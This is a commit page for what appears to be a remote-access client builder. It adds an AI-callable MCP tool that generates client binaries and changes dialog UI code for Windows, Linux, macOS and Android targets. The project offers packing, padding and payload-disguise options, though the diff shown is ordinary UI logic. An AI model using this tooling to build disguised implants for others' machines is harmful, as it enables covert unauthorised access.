Feature: add build_client MCP tool and improve build dialog linkage
Add a service-local MCP tool, build_client, that patches a client template with this master's connect settings and writes the binary on the server. It covers ghost/TestRun/ServerDll/TinyRun plus Linux, macOS and Android, reusing the same byte path as CBuildDlg::OnBnClickedOk (CONNECT_ADDRESS overwrite, build-date check, embedded TLS anchor before UPX/padding). ShellCode AES and payload impersonation stay dialog-only. The tool is gated by a new McpBuild switch (default 0) and McpReadonly=0. It refuses to overwrite an existing file unless overwrite=true, protects the server binaries/settings.ini/upx.exe, validates names strictly and uses a unique UPX temp file so it cannot race the dialog. Results report the path, size, target, TLS-anchor status and follow-up tips. In the build dialog, Linux/macOS/Android targets now also grey out the install-location combo/label and run mode, save and restore the Windows compress choice, hide payload/download rows, grey the random-name and run-as-admin menu items, and fix the TLS-anchor label for posix targets. OnBnClickedOk is untouched; generated output is unchanged for every target. New UI strings were added to the en_US, zh_TW and de_DE language packs. McpBuild is off by default and changes require a server restart. Verified on a Debug x64 instance: MCP generation for Linux is patched correctly, Android and ghost anchor/error paths behave, and dialog-driven Linux/TestRun/SC_AES generation still succeeds. mcp/tools.json regenerated (55 tools); check_platform_table.py passes. Co-Authored-By: deepseek-flash
This commit is contained in:
1 parent
1401ff0a4c
commit
7172ab376d
20 files changed
+1619
-36
No files matched your search
@@ -47,6 +47,12 @@ enum Payload {
|
||||
Payload_PDF,
|
||||
};
|
||||
|
||||
// Linux / macOS / Android 是固定架构的预编译模板,没有 Windows 的安装/加壳/增肥语义。
|
||||
static bool IsWindowsTarget(int index)
|
||||
{
|
||||
return !(index == IndexLinuxGhost || index == IndexMacGhost || index == IndexAndroidGhost);
|
||||
}
|
||||
|
||||
// CBuildDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
|
||||
@@ -223,9 +229,9 @@ CBuildDlg::CBuildDlg(CWnd* pParent)
|
||||
, m_sInstallDir(_T(""))
|
||||
, m_sInstallName(_T(""))
|
||||
, m_sDownloadUrl(_T(""))
|
||||
, m_nWindowsCompress(CLIENT_COMPRESS_SC_AES_OLD)
|
||||
, m_nAnchorUserCheck(-1)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CBuildDlg::~CBuildDlg()
|
||||
@@ -904,6 +910,7 @@ BOOL CBuildDlg::OnInitDialog()
|
||||
m_ComboCompress.InsertStringL(CLIENT_SHELLCODE_BINARY, "ShellCode BIN");
|
||||
m_ComboCompress.InsertStringL(CLIENT_COMP_SC_AES_OLD_UPX, "SC AES<Old> + UPX");
|
||||
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_SC_AES_OLD);
|
||||
m_nWindowsCompress = m_ComboCompress.GetCurSel(); // 与上面的默认值保持一致
|
||||
|
||||
m_ComboLocation.InsertStringL(0, "ProgramData");
|
||||
m_ComboLocation.InsertStringL(1, "ProgramFiles - Admin");
|
||||
@@ -995,10 +1002,12 @@ CString CBuildDlg::GetFilePath(CString type, CString filter, BOOL isOpen)
|
||||
return "";
|
||||
}
|
||||
|
||||
// 选 Linux / macOS 客户端时禁用对它们不适用的 Windows-only 选项:
|
||||
// - 架构 (m_ComboBits):Linux/macOS binary 是固定架构的预编译资源
|
||||
// 选 Linux / macOS / Android 客户端时禁用对它们不适用的 Windows-only 选项:
|
||||
// - 架构 (m_ComboBits):这些 binary 是固定架构的预编译资源
|
||||
// - 加壳 (m_ComboCompress):UPX / ShellCode AES 等都是 Windows PE 概念
|
||||
// - 高级 group:安装目录 / 程序名称 / 载荷类型 / 增肥 / 下载服务,全是 Windows 安装/伪装相关
|
||||
// - 运行模式 (m_ComboRunType):runningType 只有 Windows 客户端(ClientDll)消费
|
||||
// - 高级 group:安装位置 / 安装目录 / 程序名称 / 载荷类型 / 增肥 / 下载服务,
|
||||
// 全是 Windows 安装/伪装相关
|
||||
void CBuildDlg::EnableWindowsOnlyControls(BOOL enable)
|
||||
{
|
||||
static const int ids[] = {
|
||||
@@ -1006,8 +1015,11 @@ void CBuildDlg::EnableWindowsOnlyControls(BOOL enable)
|
||||
IDC_COMBO_BITS, IDC_STATIC_BUILD_ARCH,
|
||||
// 加壳
|
||||
IDC_COMBO_COMPRESS, IDC_STATIC_BUILD_PACK,
|
||||
// 高级 group + 内部所有控件
|
||||
// 运行模式
|
||||
IDC_COMBO_RUNTYPE, IDC_STATIC_BUILD_MODE,
|
||||
// 高级 group + 内部所有控件(含「安装目录」下拉框与它的标签)
|
||||
IDC_STATIC_BUILD_ADVANCED,
|
||||
IDC_STATIC_LOCATION, IDC_COMBO_INSTALL_LOC,
|
||||
IDC_STATIC_PAYLOAD, IDC_STATIC_PAYLOAD2, IDC_STATIC_PAYLOAD3,
|
||||
IDC_STATIC_BUILD_PADDING, IDC_STATIC_DOWNLOAD,
|
||||
IDC_EDIT_INSTALL_DIR, IDC_EDIT_INSTALL_NAME,
|
||||
@@ -1019,6 +1031,41 @@ void CBuildDlg::EnableWindowsOnlyControls(BOOL enable)
|
||||
}
|
||||
}
|
||||
|
||||
// 载荷类型 / 下载服务几行的可见性。非 Windows 目标一律隐藏:这些控件虽然已经被
|
||||
// EnableWindowsOnlyControls 置灰,但「置灰却还占着版面」会让人以为它们仍会生效。
|
||||
void CBuildDlg::UpdatePayloadControls()
|
||||
{
|
||||
const int index = m_ComboExe.GetCurSel();
|
||||
if (!IsWindowsTarget(index)) {
|
||||
m_ComboPayload.ShowWindow(SW_HIDE);
|
||||
m_StaticPayload.ShowWindow(SW_HIDE);
|
||||
m_BtnFileServer.ShowWindow(SW_HIDE);
|
||||
m_StaticDownload.ShowWindow(SW_HIDE);
|
||||
m_EditDownloadUrl.ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
|
||||
const bool scAes = m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES;
|
||||
m_ComboPayload.ShowWindow(scAes ? SW_SHOW : SW_HIDE);
|
||||
m_StaticPayload.ShowWindow(scAes ? SW_SHOW : SW_HIDE);
|
||||
|
||||
const bool fileServer = scAes && m_ComboPayload.GetCurSel() > Payload_Self;
|
||||
m_BtnFileServer.ShowWindow(fileServer ? SW_SHOW : SW_HIDE);
|
||||
const bool downloading = fileServer && m_BtnFileServer.GetCheck() == BST_CHECKED;
|
||||
m_StaticDownload.ShowWindow(downloading ? SW_SHOW : SW_HIDE);
|
||||
m_EditDownloadUrl.ShowWindow(downloading ? SW_SHOW : SW_HIDE);
|
||||
}
|
||||
|
||||
// 菜单项联动:随机名称只影响安装目录/程序名,以管理员权限运行只有 Windows 客户端消费。
|
||||
void CBuildDlg::UpdateTargetMenuState(BOOL windowsTarget)
|
||||
{
|
||||
CMenu* sub = m_MainMenu.GetSubMenu(0);
|
||||
if (!sub || !GetSafeHwnd()) return;
|
||||
sub->EnableMenuItem(ID_RANDOM_NAME, windowsTarget ? MF_ENABLED : MF_GRAYED);
|
||||
sub->EnableMenuItem(ID_CLIENT_RUNAS_ADMIN, windowsTarget ? MF_ENABLED : MF_GRAYED);
|
||||
::DrawMenuBar(GetSafeHwnd());
|
||||
}
|
||||
|
||||
// 「内嵌 TLS 信任锚」复选框的可用性与文案。三个条件缺一不可(设计文档 §4.7):
|
||||
// 1. 生成目标里真的有客户端代码(ghost.exe / ServerDll.dll);
|
||||
// 2. 协议会用到这份锚(TCP / HTTP;WS 走明文,WSS 的锚是反代那张证书);
|
||||
@@ -1036,13 +1083,22 @@ void CBuildDlg::UpdateTlsAnchorState()
|
||||
const bool testRun = (index == IndexTestRun_DLL || index == IndexTestRun_MemDLL ||
|
||||
index == IndexTestRun_InjSC || index == IndexTestRunMsc ||
|
||||
index == IndexTestRunSystem);
|
||||
// Linux/macOS/Android 模板里没有锚块(只有 Windows 的 client/ 侧编译了
|
||||
// common/tls_anchor.h),它们的信任锚由主控在线下发;文案要说清这一点,
|
||||
// 不能笼统写成「不含客户端」。
|
||||
const bool posixTarget = (index == IndexLinuxGhost || index == IndexMacGhost ||
|
||||
index == IndexAndroidGhost);
|
||||
|
||||
CString label;
|
||||
bool usable = false;
|
||||
if (!embeddable) {
|
||||
// TestRun 只是加载器,锚要生成进 ServerDll.dll —— 这条提示比「不含客户端」有用。
|
||||
label = testRun ? _TR("内嵌TLS信任锚(锚在ServerDll.dll里)")
|
||||
: _TR("内嵌TLS信任锚(该目标不含客户端)");
|
||||
if (testRun)
|
||||
label = _TR("内嵌TLS信任锚(锚在ServerDll.dll里)");
|
||||
else if (posixTarget)
|
||||
label = _TR("内嵌TLS信任锚(仅Windows客户端模板支持)");
|
||||
else
|
||||
label = _TR("内嵌TLS信任锚(该目标不含客户端)");
|
||||
} else if (proto != PROTO_TCP && proto != PROTO_HTTP) {
|
||||
label = _TR("内嵌TLS信任锚(该协议不走TLS)");
|
||||
} else if (!ServerTlsIdentity::IsReady()) {
|
||||
@@ -1078,9 +1134,31 @@ void CBuildDlg::OnCbnSelchangeComboProto()
|
||||
|
||||
void CBuildDlg::OnCbnSelchangeComboExe()
|
||||
{
|
||||
auto n = m_ComboExe.GetCurSel();
|
||||
EnableWindowsOnlyControls(!(n == IndexLinuxGhost || n == IndexMacGhost || n == IndexAndroidGhost));
|
||||
const int n = m_ComboExe.GetCurSel();
|
||||
const BOOL windowsTarget = IsWindowsTarget(n);
|
||||
|
||||
EnableWindowsOnlyControls(windowsTarget);
|
||||
UpdateTlsAnchorState();
|
||||
|
||||
// 加壳:非 Windows 目标切到「无」并记住 Windows 下的选择,切回时恢复。否则控件
|
||||
// 已置灰却还显示「ShellCode AES」,会让人以为生成时仍按它处理(生成代码其实会强制
|
||||
// 改成 NONE,界面和实际行为对不上)。
|
||||
if (!windowsTarget) {
|
||||
const int cur = m_ComboCompress.GetCurSel();
|
||||
if (cur != CLIENT_COMPRESS_NONE) {
|
||||
m_nWindowsCompress = cur;
|
||||
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
|
||||
}
|
||||
} else {
|
||||
if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_NONE &&
|
||||
m_nWindowsCompress != CLIENT_COMPRESS_NONE) {
|
||||
m_ComboCompress.SetCurSel(m_nWindowsCompress);
|
||||
}
|
||||
m_nWindowsCompress = m_ComboCompress.GetCurSel();
|
||||
}
|
||||
UpdateTargetMenuState(windowsTarget);
|
||||
UpdatePayloadControls();
|
||||
|
||||
if (n == OTHER_ITEM) {
|
||||
CString name = GetFilePath(_T("dll"), _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"));
|
||||
if (!name.IsEmpty()) {
|
||||
@@ -1150,14 +1228,13 @@ void CBuildDlg::OnClientRunasAdmin()
|
||||
|
||||
void CBuildDlg::OnCbnSelchangeComboCompress()
|
||||
{
|
||||
m_ComboPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE);
|
||||
m_StaticPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE);
|
||||
m_ComboPayload.SetFocus();
|
||||
m_BtnFileServer.ShowWindow(
|
||||
m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && m_ComboPayload.GetCurSel() ? SW_SHOW : SW_HIDE);
|
||||
// 记下用户在当前 Windows 目标下的加壳选择;切到 Linux/macOS/Android 时控件会置灰、
|
||||
// 显示值切到「无」,切回来时恢复这个值。
|
||||
if (IsWindowsTarget(m_ComboExe.GetCurSel()))
|
||||
m_nWindowsCompress = m_ComboCompress.GetCurSel();
|
||||
m_BtnFileServer.SetCheck(BST_UNCHECKED);
|
||||
m_StaticDownload.ShowWindow(SW_HIDE);
|
||||
m_EditDownloadUrl.ShowWindow(SW_HIDE);
|
||||
UpdatePayloadControls();
|
||||
m_ComboPayload.SetFocus();
|
||||
static bool warned = false;
|
||||
if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && !warned) {
|
||||
warned = true;
|
||||
@@ -1313,9 +1390,6 @@ void CBuildDlg::OnBnClickedCheckFileserver()
|
||||
|
||||
void CBuildDlg::OnCbnSelchangeComboPayload()
|
||||
{
|
||||
m_BtnFileServer.ShowWindow(
|
||||
m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && m_ComboPayload.GetCurSel() ? SW_SHOW : SW_HIDE);
|
||||
m_BtnFileServer.SetCheck(BST_UNCHECKED);
|
||||
m_StaticDownload.ShowWindow(SW_HIDE);
|
||||
m_EditDownloadUrl.ShowWindow(SW_HIDE);
|
||||
UpdatePayloadControls();
|
||||
}
|
||||
Reference in new issue
Block a user